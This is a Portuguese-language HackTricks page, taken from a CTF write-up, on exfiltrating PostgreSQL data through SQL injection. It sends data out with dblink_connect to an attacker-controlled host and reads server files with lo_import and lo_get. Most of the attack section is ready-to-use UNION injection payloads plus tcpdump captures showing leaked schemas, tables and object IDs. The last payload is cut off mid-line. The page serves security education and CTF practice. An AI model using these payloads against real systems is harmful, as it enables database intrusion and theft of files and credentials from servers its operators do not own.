# Exfiltração de dados com dblink/lo_import
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras formas de apoiar o HackTricks: * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
**Este é um exemplo de como exfiltrar dados carregando arquivos no banco de dados com `lo_import` e exfiltrá-los usando `dblink_connect`.** ## Preparando o servidor de exfiltração/Injeção SQL Assíncrona **Extraído de:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md) Como o `pg_sleep` também não causa atraso, podemos assumir com segurança que a execução da consulta ocorre em segundo plano ou de forma assíncrona. Normalmente, `dblink_connect` pode ser usado para abrir uma conexão persistente com um banco de dados PostgreSQL remoto (por exemplo, `SELECT dblink_connect('host=HOST user=USER password=PASSWORD dbname=DBNAME')`). Como podemos controlar o parâmetro desta função, podemos realizar um SQL Server Side Request Forgery para o nosso próprio host. Isso significa que podemos realizar uma Injeção SQL Out-of-Band para exfiltrar dados dos resultados de consultas SQL. Existem pelo menos duas maneiras de fazer isso: 1. Configurar um **servidor DNS** e, em seguida, acionar a conexão para `[data].our.domain` para que possamos ver os dados no log ou nos pacotes de rede DNS. 2. Configurar um **servidor PostgreSQL público, monitorar os pacotes de rede que chegam à porta do PostgreSQL**, e então acionar uma conexão para o nosso host com dados exfiltrados como `user`/`dbname`. Por **padrão**, o PostgreSQL não usa SSL para comunicação, então podemos ver `user`/`dbname` como um **texto simples** na rede. O **segundo método é mais fácil** porque não precisamos de nenhum domínio. Precisamos apenas configurar um servidor com um IP público, instalar o PostgreSQL, configurar o serviço PostgreSQL para ouvir em \*/0.0.0.0 e executar um dumper de rede (por exemplo, tcpdump) para monitorar o tráfego para a porta do PostgreSQL (5432 por padrão). Para configurar o PostgreSQL para que ele **escute publicamente**, defina `listen_addresses` em `postgresql.conf` para `*`. ``` listen_addresses = '*' ``` Para monitorar o tráfego de entrada, execute `tcpdump` para monitorar a porta 5432. ``` sudo tcpdump -nX -i eth0 port 5432 ``` Para verificar se obtemos uma conexão do alvo, podemos tentar usar esta consulta: ``` asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=farisv password=postgres dbname=hellofromfb')) -- ``` Se bem-sucedido, obtemos um pedaço do pacote de rede com `user` e `dbname` legíveis. ``` 17:14:11.267060 IP [54.185.163.254.50968] > [REDACTED]: Flags [P.], seq 1:43, ack 1, win 229, options [nop,nop,TS val 970078525 ecr 958693110], length 42 0x0000: 4500 005e 9417 4000 2706 248c 36b9 a3fe E..^..@.'.$.6... 0x0010: 9de6 2259 c718 2061 5889 142a 9f8a cb5d .."Y...aX..*...] 0x0020: 8018 00e5 1701 0000 0101 080a 39d2 393d ............9.9= 0x0030: 3924 7ef6 0000 002a 0003 0000 7573 6572 9$~....*....user 0x0040: 0066 6172 6973 7600 6461 7461 6261 7365 .farisv.database 0x0050: 0068 656c 6c6f 6672 6f6d 6662 0000 .hellofromfb. ``` Então, podemos **continuar a extrair o banco de dados usando várias consultas PostgreSQL**. Observe que para cada resultado de consulta que contém espaços em branco, precisamos converter o resultado para **hex/base64** com a função `encode` ou substituir o espaço em branco por outro caractere com a função `replace`, pois isso causará um erro de execução durante o processo `dblink_connect`. Obter uma **lista** de **esquemas**: ``` asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(schema_name,':') FROM information_schema.schemata) || ' password=postgres dbname=postgres')) -- ``` ``` 17:36:46.538178 IP 54.185.163.254.51018 > [REDACTED]: Flags [P.], seq 1:70, ack 1, win 229, options [nop,nop,TS val 971433789 ecr 960048322], length 69 0x0000: 4500 0079 ecd5 4000 2706 cbb2 36b9 a3fe E..y..@.'...6... 0x0010: 9de6 2259 c74a 2061 1e74 4769 b404 803d .."Y.J.a.tGi...= 0x0020: 8018 00e5 2710 0000 0101 080a 39e6 e73d ....'.......9..= 0x0030: 3939 2cc2 0000 0045 0003 0000 7573 6572 99,....E....user 0x0040: 0070 7562 6c69 633a 696e 666f 726d 6174 .public:informat 0x0050: 696f 6e5f 7363 6865 6d61 3a70 675f 6361 ion_schema:pg_ca 0x0060: 7461 6c6f 6700 6461 7461 6261 7365 0070 talog.database.p 0x0070: 6f73 7467 7265 7300 00 ostgres. ``` Obtenha uma **lista** de **tabelas** no esquema atual: ``` asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(tablename, ':') FROM pg_catalog.pg_tables WHERE schemaname=current_schema()) || ' password=postgres dbname=postgres')) -- ``` ``` 17:38:30.515438 IP 54.185.163.254.51026 > [REDACTED]: Flags [P.], seq 1:42, ack 1, win 229, options [nop,nop,TS val 971537775 ecr 960152304], length 41 0x0000: 4500 005d f371 4000 2706 c532 36b9 a3fe E..].q@.'..26... 0x0010: 9de6 2259 c752 2061 8dd4 e226 24a3 a5c5 .."Y.R.a...&$... 0x0020: 8018 00e5 fe2b 0000 0101 080a 39e8 7d6f .....+......9.}o 0x0030: 393a c2f0 0000 0029 0003 0000 7573 6572 9:.....)....user 0x0040: 0073 6561 7263 6865 7300 6461 7461 6261 .searches.databa 0x0050: 7365 0070 6f73 7467 7265 7300 00 se.postgres. ``` **Conte** as **linhas** na tabela `searches`. ``` asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT COUNT(*) FROM searches) || ' password=postgres dbname=postgres')) -- ``` ``` 17:42:39.511643 IP 54.185.163.254.51034 > [REDACTED]: Flags [P.], seq 1:35, ack 1, win 229, options [nop,nop,TS val 971786760 ecr 960401280], length 34 0x0000: 4500 0056 7982 4000 2706 3f29 36b9 a3fe E..Vy.@.'.?)6... 0x0010: 9de6 2259 c75a 2061 5ec0 7df0 8611 357d .."Y.Z.a^.}...5} 0x0020: 8018 00e5 f855 0000 0101 080a 39ec 4a08 .....U......9.J. 0x0030: 393e 8f80 0000 0022 0003 0000 7573 6572 9>....."....user 0x0040: 0030 0064 6174 6162 6173 6500 706f 7374 .0.database.post 0x0050: 6772 6573 0000 gres. ``` Parece que só tem uma tabela vazia no esquema atual e a flag não está no banco de dados. Podemos realmente precisar exfiltrar dados de `/var/lib/postgresql/data/secret`. Infelizmente, se tentarmos usar `pg_read_file` ou `pg_read_binary_file` para ler o arquivo, não obteremos uma conexão de entrada, de modo que o usuário atual pode não ter permissão para usar essas funções. #### Mais informações sobre SQLInjection assíncrono com postdresql * [https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md) ## **Exfiltrando conteúdos de large object** É possível ler arquivos usando large objects ([https://www.postgresql.org/docs/11/lo-funcs.html](https://www.postgresql.org/docs/11/lo-funcs.html)). Podemos usar `lo_import` para carregar o conteúdo do arquivo no catálogo `pg_largeobject`. Se a consulta for bem-sucedida, obteremos o `oid` do objeto. ``` asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT lo_import('/var/lib/postgresql/data/secret')) || ' password=postgres dbname=postgres')) -- ``` ``` 17:54:51.963925 IP 54.185.163.254.51046 > [REDACTED]: Flags [P.], seq 1:39, ack 1, win 229, options [nop,nop,TS val 972519214 ecr 961133706], length 38 0x0000: 4500 005a 071f 4000 2706 b188 36b9 a3fe E..Z..@.'...6... 0x0010: 9de6 2259 c766 2061 26fb c8a7 bbb3 fe01 .."Y.f.a&....... 0x0020: 8018 00e5 2272 0000 0101 080a 39f7 772e ...."r......9.w. 0x0030: 3949 bc8a 0000 0026 0003 0000 7573 6572 9I.....&....user 0x0040: 0032 3436 3638 0064 6174 6162 6173 6500 .24668.database. 0x0050: 706f 7374 6772 6573 0000 postgres.. ``` Conseguimos 24668 como `oid`, o que significa que podemos usar a função `lo_import`. Infelizmente, não obteremos resultados se tentarmos obter o conteúdo do objeto grande usando `lo_get(24668)` ou acessar diretamente o catálogo `pg_largeobject`. **Parece que o usuário atual não tem permissão para ler o conteúdo de novos objetos.** Após ler a documentação sobre objetos grandes no PostgreSQL, podemos descobrir que **objetos grandes podem ter ACL** (Lista de Controle de Acesso). Isso significa que, se houver um objeto antigo com uma ACL que permita ao usuário atual lê-lo, então podemos exfiltrar o conteúdo desse objeto. Podemos obter uma lista de `oid` de objetos grandes disponíveis extraindo de `pg_largeobject_metadata`. ``` asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(cast(l.oid as text), ':') FROM pg_largeobject_metadata l) || ' password=postgres dbname=postgres')) -- ``` ``` 18:06:57.172285 IP 54.185.163.254.51052 > [REDACTED]: Flags [.], seq 1:2897, ack 1, win 229, options [nop,nop,TS val 973244413 ecr 961858878], length 2896 0x0000: 4500 0b84 7adf 4000 2606 339e 36b9 a3fe E...z.@.&.3.6... 0x0010: 9de6 2259 c76c 2061 8d76 e934 10c9 3972 .."Y.l.a.v.4..9r 0x0020: 8010 00e5 a66d 0000 0101 080a 3a02 87fd .....m......:... 0x0030: 3954 cd3e 0000 1c94 0003 0000 7573 6572 9T.>........user 0x0040: 0031 3635 3731 3a31 3634 3339 3a31 3635 .16571:16439:165 0x0050: 3732 3a31 3634 3431 3a31 3634 3432 3a31 72:16441:16442:1 0x0060: 3733 3732 3a31 3634 3434 3a31 3634 3435 7372:16444:16445 0x0070: 3a31 3831 3534 3a31 3733 3830 3a31 3737 :18154:17380:177 0x0080: 3038 3a31 3635 3737 3a31 3634 3530 3a31 08:16577:16450:1 0x0090: 3634 3531 3a31 3634 3532 3a31 3634 3533 6451:16452:16453 ..... ..... ..... ``` ```markdown Conseguimos uma série de `oid`s. Podemos tentar usar `lo_get` para carregar o conteúdo do objeto. Por exemplo, `lo_get(16439)` carregará o conteúdo de `/etc/passwd`. Como o resultado de `lo_gets` é `bytea`, precisamos convertê-lo para `UTF8` para que possa ser anexado na consulta. Podemos tentar carregar alguns objetos com o menor `oid` para descobrir se o arquivo de flag foi carregado anteriormente. O objeto do arquivo de flag realmente existe com `oid` 16444. Não há espaços em branco na flag, então podemos exibi-la como está. Para carregar a flag: ``` ``` asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT convert_from(lo_get(16444), 'UTF8')) || ' password=postgres dbname=p ``` #### Mais informações sobre oid: * [https://balsn.tw/ctf\_writeup/20190603-facebookctf/#hr\_admin\_module](https://balsn.tw/ctf\_writeup/20190603-facebookctf/#hr\_admin\_module) * [https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras formas de apoiar o HackTricks: * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).